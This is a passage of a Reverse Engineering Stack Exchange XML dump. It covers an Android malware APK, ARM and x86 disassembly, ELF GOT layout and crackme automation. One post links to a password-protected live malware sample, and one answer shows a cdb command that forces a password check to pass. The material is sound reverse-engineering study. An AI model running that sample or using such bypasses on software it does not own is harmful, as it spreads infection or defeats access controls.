android:name=&quot;com.dfmlhsd.xecpwdugfsln.hnzpsm.KeQXGRNGu&quot;&amp;gt;&#xA;        &amp;lt;intent-filter&amp;gt;&#xA;            &amp;lt;action android:name=&quot;android.intent.action.MAIN&quot;/&amp;gt;&#xA;            &amp;lt;category android:name=&quot;android.intent.category.LAUNCHER&quot;/&amp;gt;&#xA;        &amp;lt;/intent-filter&amp;gt;&#xA;    &amp;lt;/activity&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I used dex2jar to convert the APK to a JAR file and decompiled the JAR file, I don't see the above class file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the com folder, I can only see the packages, com.diaisde.miatsnmd and com.zeqizplcin.zeqizplcin but I can't find com.dfmlhsd.xecpwdugfsln&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I find the relevant class files for reversing this APK?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uploaded the APK file here: &lt;a href=&quot;http://www.mediafire.com/file/0c9lrbz8o4lotq7/1.zip/file&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mediafire.com/file/0c9lrbz8o4lotq7/1.zip/file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Password: infected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that this is a malicious APK file, so please analyze accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastEditorUserId="2673" LastEditDate="2018-09-19T23:09:43.150" LastActivityDate="2020-11-25T18:10:04.690" Title="Android APK reversing - Can't find the Main Class" Tags="|android|apk|" AnswerCount="2" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="19387" PostTypeId="1" AcceptedAnswerId="19411" CreationDate="2018-09-18T15:04:18.880" Score="1" ViewCount="455" Body="&lt;p&gt;Currently I am trying to reverse engineer the following armeabi-v7a function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N5FUh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N5FUh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already wrote the following Java code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; static double getFunc(double param0, double param1, double param2, double param3) {&#xA;      double r3, s7, s8, d4, d5, d6, d7, s10, s12, s13, s14, s15;&#xA;      s14 = 100.0;&#xA;      r3 = param3 - 0xAA;&#xA;      s13 = param0;&#xA;      s15 = param2;&#xA;      s8 = 4.0;&#xA;      s7 = param3;&#xA;      s10 = 7.0;&#xA;      s13 = s13  /s14;&#xA;&#xA;      if (param1 == 1) {&#xA;          s13 = s15 *s13;&#xA;          s15 = s13 * s8;&#xA;          d4 = 0.22;&#xA;          s10 = s15 / s10;&#xA;          d5 = s10;&#xA;          d4 = d5 * d4;&#xA;          d5 = 0.6;&#xA;          s12 = s7 / s14;&#xA;          d5 = d4 * d5;&#xA;          s10 = d5;&#xA;          s12 = s10 + s12;&#xA;      } else {&#xA;          s15 = s15 * s13;&#xA;          d6 = 0.34;&#xA;          s15 = s15 * s8;&#xA;          s10 = s15 / s10;&#xA;          d5 = s10;&#xA;          d5 = d5 * d6;&#xA;          d6 = 0.45;&#xA;          d6 = d5 * d6;&#xA;          s15 = d6;&#xA;          s12 = s7 / s14;&#xA;          s12 = s15 + s12;&#xA;      }&#xA;&#xA;      s14 = 10.0;&#xA;      s14 = s12 * s14;&#xA;      d6 = 0.5;&#xA;      d7 = s14;&#xA;      d7 = d7 + d6;&#xA;      s14 = d7;&#xA;      d6 = 10.0;&#xA;      d7 = s14;&#xA;      d7 = d7 / d6;&#xA;&#xA;      return d7;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I don't get the correct result. I am doing something wrong but I am a little bit stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be that I don't understand the parameter handling on the armeabi-v7a assembly. Do I get it right in the code? Is R3 the third parameter? Are R# always integer values or could it be also double values?&#xA;Is the VCVT.F32.F64 important for the Java implementation? If yes, how do I handle them correctly?&#xA;R0 is the return register?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be awesome if somebody could review my code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: the dissassembly code as requested:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getFunc       proc&#xA;&#xA;             VLDR    S14, gvar_1318 &#xA;             SUBS    R3, #AAh&#xA;             CMP     R1, #1h&#xA;             VMOV    S13, R0&#xA;             VMOV    S15, R2&#xA;             VMOV.F32 S8, #4.000000E+00&#xA;             VMOV    S7, R3&#xA;             VMOV.F32 S10, #7.000000E+00&#xA;             VDIV.F32 S13, S13, S14&#xA;             BNE     loc 1294&#xA;             VMUL.F32 S13, S15, S13&#xA;             VMUL.F32 S15, S13, S8&#xA;             VLDR    D4, gvar_12F8&#xA;             VDIV.F32 S10, S15, S10&#xA;             VCVT.F64.F32 D5, S10 &#xA;             VCVT.F32.S32 S7, S7 &#xA;             VMUL.F64 D4, D5, D4 &#xA;             VLDR    D5, gvar_1300 &#xA;             VDIV.F32 S12, S7, S14 &#xA;             VMUL.F64 D5, D4, D5 &#xA;             VCVT.F32.F64 S10, D5 &#xA;             VADD.F32 S12, S10, S12&#xA;             B        loc_12C4&#xA;loc_1294:&#xA;             VMUL.F32 S15, S15, S13 &#xA;             VLDR    D6, gvar 1308 &#xA;             VMUL.F32 S15, S15, S8 &#xA;             VDIV.F32 S10, S15, S10 &#xA;             VCVT.F64.F32 D5, S10&#xA;             VMUL.F64 D5, D5, D6 &#xA;             VLDR    D6, gvar_1310 &#xA;             VMUL.F64 D6, D5, D6 &#xA;             VCVT.F32.S32 S7, S7 &#xA;             VCVT.F32.F64 S15, D6 &#xA;             VDIV.F32 S12, S7, S14 &#xA;             VADD.F32 S12, S15, S12&#xA;loc_12C4:&#xA;             VMOV.F32 S14, #1.000000E+01 &#xA;             VMUL.F32 S14, S12, S14 &#xA;             VMOV.F64 D6, #5.000000E-01 &#xA;             VCVT.F64.F32 D7, S14 &#xA;             VADD.F64 D7, D7, D6 &#xA;             VCVT.S32.F64 S14, D7 &#xA;             VMOV.F64 D6, #1.000000E+01 &#xA;             VCVT.F64.S32 D7, S14 &#xA;             VDIV.F64 D7, D7, D6 &#xA;             VCVT.F32.F64 S15, D7&#xA;             VMOV    R0, S15&#xA;             BX      LR&#xA;&#xA;getFunc        endp&#xA;&#xA;&#xA;LOAD.text:000012F2           db 0, BFh, AFh, F3h, 0, 80h &#xA;LOAD.text:000012F8 gvar_12F8 dq 3FCC28F5C28F5C29h&#xA;LOAD.text:00001300 gvar_1300 dq 3FE3333340000000h &#xA;LOAD.text:00001308 gvar_1308 dq 3FD5C28F5C28F5C3h &#xA;LOAD.text:00001310 gvar_1310 dq 3FDCCCCCC0000000h &#xA;LOAD.text:00001318 gvar_1318 dd 42C80000h&#xA;LOAD.text:0000131C           db AFh, F3h, 0, 80h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25393" LastEditorUserId="25393" LastEditDate="2018-09-19T07:29:41.473" LastActivityDate="2018-09-20T17:32:22.650" Title="Reverse engineer a ARM-v7a function" Tags="|arm|java|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19388" PostTypeId="2" ParentId="19272" CreationDate="2018-09-18T16:01:43.167" Score="2" Body="&lt;p&gt;You need to run &lt;code&gt;idc.auto_wait&lt;/code&gt; in the python script to allow IDA to process all the entries in it's auto-analysis queue before it tries to navigate around based on analysis-dependent features.&lt;/p&gt;&#xA;" OwnerUserId="24714" LastActivityDate="2018-09-18T16:01:43.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19389" PostTypeId="2" ParentId="19387" CreationDate="2018-09-18T16:27:42.763" Score="1" Body="&lt;p&gt;Maybe the following line is wrong: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (param == 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think it should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (param != 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BNE branches if Z==0.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2018-09-18T16:27:42.763" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19390" PostTypeId="1" CreationDate="2018-09-18T18:02:58.993" Score="0" ViewCount="605" Body="&lt;p&gt;Let's say we have a simple crackme, which asks for a password. After verifying it, &lt;code&gt;eax&lt;/code&gt; will contain &lt;code&gt;1&lt;/code&gt; if it is correct, and &lt;code&gt;0&lt;/code&gt; otherwise. Is there a way (I am interested both in Linux and Windows) for automating the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Load executable&lt;/li&gt;&#xA;&lt;li&gt;Put breakpoint at a known address&lt;/li&gt;&#xA;&lt;li&gt;Provide a password as input for the executable&lt;/li&gt;&#xA;&lt;li&gt;When reaching the breakpoint set &lt;code&gt;eax&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Save any output of the executable&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13970" LastActivityDate="2018-09-22T20:55:08.710" Title="Automating a crackme solving process" Tags="|debuggers|crackme|automation|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19391" PostTypeId="2" ParentId="19390" CreationDate="2018-09-18T18:41:11.833" Score="1" Body="&lt;p&gt;windbg in windows and gdb in linux both are capable of executing scripts to automate tasks  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;what you ask should be doable fairly easily in both of the debuggers &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a demeo for windbg &lt;/p&gt;&#xA;&#xA;&lt;p&gt;source for a simple crackme that takes a password&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat simcram.cpp&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;int checkpass(char *pass) {&#xA;    return strcmp(&quot;goodboy&quot; , pass);&#xA;}&#xA;int main(int argc , char *argv[] ) {&#xA;    if(argc != 2 ) {&#xA;        printf(&quot;usage %s password\n&quot; , argv[0]);&#xA;        exit(0);&#xA;    }&#xA;    int res = checkpass(argv[1]);&#xA;    if(res == 0 ) {&#xA;        printf(&quot;please proceeed to vault\n&quot;);&#xA;    } else {&#xA;        printf(&quot;access denied incorrect password\n&quot;);&#xA;    }&#xA;    return res;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executing directly on console &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;simcram.exe&#xA;usage simcram.exe password&#xA;&#xA;:\&amp;gt;simcram.exe foobar&#xA;access denied incorrect password&#xA;&#xA;:\&amp;gt;simcram.exe goodboy&#xA;please proceeed to vault&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a scripted execution that would set eax to 0 irresepective on any password&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb -c &quot;g simcram!checkpass;gu;r eax= 0;g;q&quot; simcram.exe abracadabragiligilichoo&#xA;&#xA;Microsoft (R) Windows Debugger Version 10.0.16299.15 X86&#xA;Copyright (c) Microsoft Corporation. All rights reserved.&#xA;&#xA;CommandLine: simcram.exe abracadabragiligilichoo&#xA;&#xA;&#xA;ntdll!LdrpDoDebuggerBreak+0x2c:&#xA;77b205a6 cc              int     3&#xA;0:000&amp;gt; cdb: Reading initial command 'g simcram!checkpass;gu;r eax= 0;g;q'&#xA;&#xA;please proceeed to vault  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-09-18T18:41:11.833" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19392" PostTypeId="1" AcceptedAnswerId="19413" CreationDate="2018-09-18T19:31:28.870" Score="3" ViewCount="1616" Body="&lt;p&gt;I used &lt;code&gt;readelf&lt;/code&gt; to read the information of the ELF file. I found the address of &lt;code&gt;.got&lt;/code&gt; section in the section header is different from the GOT entry point address read from the dynamic section. Is the data which stored between &lt;code&gt;.got&lt;/code&gt; address and the entry point of GOT like garbage? The follow is apart of information got from &lt;code&gt;readelf&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ELF Header&lt;/strong&gt; - This ELF is run on ARMv7A.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              DYN (Shared object file)&#xA;  Machine:                           ARM&#xA;  Version:                           0x1&#xA;  Entry point address:               0x0&#xA;  Start of program headers:          52 (bytes into file)&#xA;  Start of section headers:          38412 (bytes into file)&#xA;  Flags:                             0x5000200, Version5 EABI, soft-float ABI&#xA;  Size of this header:               52 (bytes)&#xA;  Size of program headers:           32 (bytes)&#xA;  Number of program headers:         8&#xA;  Size of section headers:           40 (bytes)&#xA;  Number of section headers:         26&#xA;  Section header string table index: 25&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Section Headers&lt;/strong&gt; - The address of &lt;code&gt;.got&lt;/code&gt; section is at &lt;code&gt;0x00008eac&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Section Headers:&#xA;  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al&#xA;  [ 0]                   NULL            00000000 000000 000000 00      0   0  0&#xA;  [ 1] .note.gnu.build-i NOTE            00000134 000134 000024 00   A  0   0  4&#xA;  [ 2] .dynsym           DYNSYM          00000158 000158 0006a0 10   A  3   1  4&#xA;  [ 3] .dynstr           STRTAB          000007f8 0007f8 000704 00   A  0   0  1&#xA;  [ 4] .hash             HASH            00000efc 000efc 000334 04   A  2   0  4&#xA;  [ 5] .gnu.version      VERSYM          00001230 001230 0000d4 02   A  2   0  2&#xA;  [ 6] .gnu.version_d    VERDEF          00001304 001304 00001c 00   A  3   1  4&#xA;  [ 7] .gnu.version_r    VERNEED         00001320 001320 000020 00   A  3   1  4&#xA;  [ 8] .rel.dyn          REL             00001340 001340 000178 08   A  2   0  4&#xA;  [ 9] .rel.plt          REL             000014b8 0014b8 000250 08  AI  2  10  4&#xA;  [10] .plt              PROGBITS        00001708 001708 00038c 00  AX  0   0  4&#xA;  [11] .text             PROGBITS        00001a94 001a94 0053d4 00  AX  0   0  4&#xA;  [12] .ARM.extab        PROGBITS        00006e68 006e68 000078 00   A  0   0  4&#xA;  [13] .ARM.exidx        ARM_EXIDX       00006ee0 006ee0 000178 08  AL 11   0  4&#xA;  [14] .rodata           PROGBITS        00007058 007058 000038 00  AM  0   0  4&#xA;  [15] .fini_array       FINI_ARRAY      00008cf8 007cf8 000008 00  WA  0   0  4&#xA;  [16] .data.rel.ro      PROGBITS        00008d00 007d00 00007c 00  WA  0   0  4&#xA;  [17] .init_array       INIT_ARRAY      00008d7c 007d7c 000008 00  WA  0   0  4&#xA;  [18] .dynamic          DYNAMIC         00008d84 007d84 000128 08  WA  3   0  4&#xA;  [19] .got              PROGBITS        00008eac 007eac 000154 00  WA  0   0  4&#xA;  [20] .data             PROGBITS        00009000 008000 001450 00  WA  0   0  4&#xA;  [21] .bss              NOBITS          0000a450 009450 000004 00  WA  0   0  4&#xA;  [22] .comment          PROGBITS        00000000 009450 000065 01  MS  0   0  1&#xA;  [23] .note.gnu.gold-ve NOTE            00000000 0094b8 00001c 00      0   0  4&#xA;  [24] .ARM.attributes   ARM_ATTRIBUTES  00000000 0094d4 000034 00      0   0  1&#xA;  [25] .shstrtab         STRTAB          00000000 009508 000103 00      0   0  1&#xA;Key to Flags:&#xA;  W (write), A (alloc), X (execute), M (merge), S (strings)&#xA;  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)&#xA;  O (extra OS processing required) o (OS specific), p (processor specific)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A Part of Dynamic Section&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Dynamic section at offset 0x7d84 contains 32 entries:&#xA;  Tag        Type                         Name/Value&#xA; 0x00000003 (PLTGOT)                     0x8ecc&#xA; 0x00000002 (PLTRELSZ)                   592 (bytes)&#xA; 0x00000017 (JMPREL)                     0x14b8&#xA; 0x00000014 (PLTREL)                     REL&#xA; 0x00000011 (REL)                        0x1340&#xA; 0x00000012 (RELSZ)                      376 (bytes)&#xA; 0x00000013 (RELENT)                     8 (bytes)&#xA; 0x6ffffffa (RELCOUNT)                   41&#xA; 0x00000006 (SYMTAB)                     0x158&#xA; 0x0000000b (SYMENT)                     16 (bytes)&#xA; 0x00000005 (STRTAB)                     0x7f8&#xA; 0x0000000a (STRSZ)                      1796 (bytes)&#xA; 0x00000004 (HASH)                       0xefc&#xA; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tail of &lt;code&gt;.dynamic&lt;/code&gt; and Head of &lt;code&gt;.got&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;0x8e84:   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   |................|&#xA;0x8e94:   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   |................|&#xA;0x8ea4:   00 00 00 00 00 00 00 00  00                        |.........       |&#xA;; section: .got&#xA;0x8eac:   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   |................|&#xA;0x8ebc:   00 00 00 00 58 70 00 00  e0 6e 00 00 00 00 00 00   |....Xp...n......|&#xA;0x8ecc:   00 00 00 00 00 00 00 00  00 00 00 00 08 17 00 00   |................|&#xA;0x8edc:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.oracle.com/cd/E23824_01/html/819-0690/chapter6-74186.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Oracle's specification&lt;/a&gt; mentioned:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The symbol _GLOBAL_OFFSET_TABLE_ can be used to access the table. This symbol can reside in the middle of the .got section, allowing both negative and nonnegative subscripts into the array of addresses.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But the data before the entry of GOT are quietly different from others. All of the other data points to the very first PLT address(&lt;code&gt;0x1708&lt;/code&gt;). Is the space before the entry point of GOT used to store the address of external functions as the same as others, or there are other ways to use them, or they are just unuseful garbage?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I found there are two numbers in the block &lt;code&gt;0x8eac&lt;/code&gt; to &lt;code&gt;0x8ecb&lt;/code&gt;, the block before the entry point of the GOT. At &lt;code&gt;0x8ec0&lt;/code&gt;, &lt;code&gt;0x7058&lt;/code&gt; is the address of &lt;code&gt;.rodata&lt;/code&gt; section. And at &lt;code&gt;0x8ec4&lt;/code&gt;, &lt;code&gt;0x6ee0&lt;/code&gt; is the address of &lt;code&gt;.ARM.exidx&lt;/code&gt; section. Is it that filling these two address in &lt;code&gt;.got&lt;/code&gt; a specific feature of the chain tools and compilers for ARM?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not seen any specification of ELF mentions this.&lt;/p&gt;&#xA;" OwnerUserId="25695" LastEditorUserId="25695" LastEditDate="2018-09-27T16:41:42.933" LastActivityDate="2018-09-27T16:41:42.933" Title="ELF - The start address of .got section is different from the entry point address of the GOT(global offset table)" Tags="|arm|elf|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="19394" PostTypeId="1" AcceptedAnswerId="19400" CreationDate="2018-09-19T02:39:50.910" Score="10" ViewCount="923" Body="&lt;p&gt;I'm poking through a disassembled 16-bit DOS game circa 1992. The original system requirements state that the game needs an IBM AT-compatible machine or later, with the 286 processor, to run. And there's a stub around &lt;code&gt;main()&lt;/code&gt; that checks for the processor and displays an error message if one is not found.&lt;/p&gt;&#xA;&lt;p&gt;I was intrigued as to what was actually being tested for, and I tracked down what appears to be the test procedure. It's comprised of five sub-tests, which are run conditionally, and it returns an integer in the range 0..7 depending on the results of the tests. I figured out, broadly, what the code does (although there may be errors; I'm still rather inexperienced and sometimes misread/misinterpret the meanings of instruction sequences).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;; ... stack setup omitted ...&#xA;pushfw&#xA;&#xA;; ==========================================&#xA;; === CHECK #1 =============================&#xA;; ==========================================&#xA;; Sets FLAGS to 0x0 and then immediately reads it back. On an 8086/80186, bits&#xA;; 12-15 always come back set. On a 80286+ this is not the case.&#xA;; 8086/80186 behavior: jump to check 3.&#xA;; 80286+ behavior: fall through to check 2.&#xA;xor ax,ax      ; AX=0x0&#xA;push ax&#xA;popfw          ; pop 0x0 into FLAGS&#xA;pushfw&#xA;pop ax         ; pop FLAGS into AX&#xA;&#xA;and ax,0xf000  ; bits 12-13: IOPL, always 1 on 86/186&#xA;cmp ax,0xf000  ; bit 14: NT, always 1 on 86/186&#xA;               ; bit 15: Reserved, always 1 on 86/186, always 0 on 286+&#xA;jz check3&#xA;&#xA;; ==========================================&#xA;; === CHECK #2 =============================&#xA;; ==========================================&#xA;; Only runs if CPU is plausibly an 80286. Last check before returning.&#xA;; Sets DL=0x6 if IOPL and NT flag bits are all clear.&#xA;; Sets DL=0x7 if any bits in IOPL/NT flags are set.&#xA;mov dl,0x6     ; DL is the proc's return val&#xA;mov ax,0x7000&#xA;push ax&#xA;popfw          ; pop 0x7000 into FLAGS&#xA;pushfw&#xA;pop ax         ; pop FLAGS into AX&#xA;&#xA;and ax,0x7000  ; bits 12-13: IOPL&#xA;               ; bit 14: NT&#xA;jz done&#xA;inc dl         ; DL=0x7 if any bit was set&#xA;jmp done&#xA;nop&#xA;&#xA;; ==========================================&#xA;; === CHECK #3 =============================&#xA;; ==========================================&#xA;; Only runs if CPU seems to be an 8086/80186.&#xA;; Sets DL=0x4 and moves on to...&#xA;;   check 4 if 0xff &amp;gt;&amp;gt; 21 == 0&#xA;;   check 5 otherwise (how can this happen?)&#xA;check3:&#xA;mov dl,0x4     ; DL is the proc's return val&#xA;mov al,0xff&#xA;mov cl,0x21&#xA;shr al,cl      ; AL = 0xff &amp;gt;&amp;gt; 0x21&#xA;jnz check5     ; when does this happen?&#xA;&#xA;; ==========================================&#xA;; === CHECK #4 =============================&#xA;; ==========================================&#xA;; At this point, DF is still 0. ES doesn't&#xA;; point to anything sensible.&#xA;; Sets DL=0x2 if the loop completes.&#xA;; Sets DL=0x0 if the loop does not complete.&#xA;; Moves onto check 5 unconditionally.&#xA;mov dl,0x2     ; DL is the proc's return val&#xA;sti            ; are interrupts important?&#xA;push si&#xA;mov si,0x0&#xA;mov cx,0xffff&#xA;rep lods [BYTE PTR es:si] ; read 64K, ES[SI]-&amp;gt;AL, all junk?&#xA;pop si&#xA;or cx,cx       ; test if loop reached 0&#xA;jz check5&#xA;mov dl,0x0     ; didn't hit 0. interrupted?&#xA;&#xA;; ==========================================&#xA;; === CHECK #5 =============================&#xA;; ==========================================&#xA;; Leaving memory addresses here because they seem important.&#xA;; Here, DL is either 0x0 or 0x2 from check 4, or 0x4 from check 3. Looks like,&#xA;; contingent on the INC instruction getting overwritten, DL either stays at&#xA;; 0x0/0x2/0x4, or becomes 0x1/0x3/0x5.&#xA;check5:&#xA;00000B74  push cs&#xA;00000B75  pop es        ; Set ES to CS. (why not mov es,cs? illegal?)&#xA;00000B76  std           ; DF=1, rep decrements CX&#xA;00000B77  mov di,0xb88&#xA;00000B7A  mov al,0xfb   ; is this just an STI opcode?&#xA;00000B7C  mov cx,0x3&#xA;00000B7F  cli           ; are interrupts undesired?&#xA;00000B80  rep stosb     ; write 3 bytes, AL-&amp;gt;ES[DI]&#xA;00000B82  cld           ; DF=0, why does it matter now?&#xA;00000B83  nop&#xA;00000B84  nop&#xA;00000B85  nop&#xA;00000B86  inc dx        ; destination when CX=1. overwritten?&#xA;00000B87  nop           ; destination when CX=2&#xA;00000B88  sti           ; destination when CX=3&#xA;&#xA;done:&#xA;popfw&#xA;xor dh,dh      ; only keep low bits&#xA;mov ax,dx      ; return through AX&#xA;; ... stack teardown omitted ...&#xA;retf&#xA;&#xA;; Return values:&#xA;; AX == 0x0: 8086, normal right-shift, loop aborted, overwrites&#xA;; AX == 0x1: 8086, normal right-shift, loop aborted, did not overwrite&#xA;; AX == 0x2: 8086, normal right-shift, loop finished, overwrites&#xA;; AX == 0x3: 8086, normal right-shift, loop finished, did not overwrite&#xA;; AX == 0x4: 8086, weird right-shift, overwrites&#xA;; AX == 0x5: 8086, weird right-shift, did not overwrite&#xA;; AX == 0x6: 286, with clear IOPL/NT flags&#xA;; AX == 0x7: 286, with set IOPL/NT flags&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here's what I can figure so far:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Check 1:&lt;/strong&gt; Seems straightforward. Explicitly set FLAGS to 0x0 and then read it back. The 8086 will force all bits 12..15 to 1, and the 286 won't. &lt;a href=&quot;https://en.wikipedia.org/wiki/FLAGS_register&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Check 2:&lt;/strong&gt; Only for the 286, seems to be similar to check 1 but with special focus on the protected mode flags. Not sure what significance this is to the caller.&lt;/p&gt;&#xA;&lt;p&gt;(An aside: If we're assuming the CPU is a 286, couldn't it have been &lt;code&gt;push 0x7000&lt;/code&gt; instead of &lt;code&gt;mov ax,0x7000; push ax&lt;/code&gt;?)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Check 3:&lt;/strong&gt; Computes &lt;code&gt;0xff &amp;gt;&amp;gt; 0x21&lt;/code&gt; and looks for a result other than &lt;code&gt;0&lt;/code&gt;. How does this ever happen? Is there a reason the nonzero result obviates the need for check 4?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Check 4:&lt;/strong&gt; Reads 64K from ES into AL. Seems like busywork; ES has not been set to anything useful, and AL is not read from. Core of the test seems to be built around the idea of CX never reaching zero, possibly because of an interrupt somewhere during the loop? Shouldn't the interrupt procedure &lt;code&gt;iret&lt;/code&gt; and return here to finish?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Check 5:&lt;/strong&gt; Self-modifying code? Looks like it replaces the last few instructions of the test with &lt;code&gt;STI&lt;/code&gt;, thus removing the &lt;code&gt;INC&lt;/code&gt; that would otherwise affect the return value? What is the circumstance under which it would fail to overwrite, and thus execute the &lt;code&gt;INC&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;(An aside: Could &lt;code&gt;push cs; pop es&lt;/code&gt; be rewritten as &lt;code&gt;mov es,cs&lt;/code&gt; or is that not a legal form?)&lt;/p&gt;&#xA;&lt;p&gt;I feel like I'm pretty far along in understanding it, but there are clearly a few holes remaining. I'm also not anywhere near fluent in x86, so there may be misinterpretations in my translated comments as well. I get the sense that there's some real cleverness here, written by somebody who knew the intricacies of these machines at a very detailed level. I'd like to understand their magic on some level, if I can.&lt;/p&gt;&#xA;" OwnerUserId="25711" LastEditorUserId="25711" LastEditDate="2020-08-26T02:00:33.770" LastActivityDate="2020-08-26T02:00:33.770" Title="How did this 80286 detection code work?" Tags="|disassembly|x86|dos|dos-exe|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
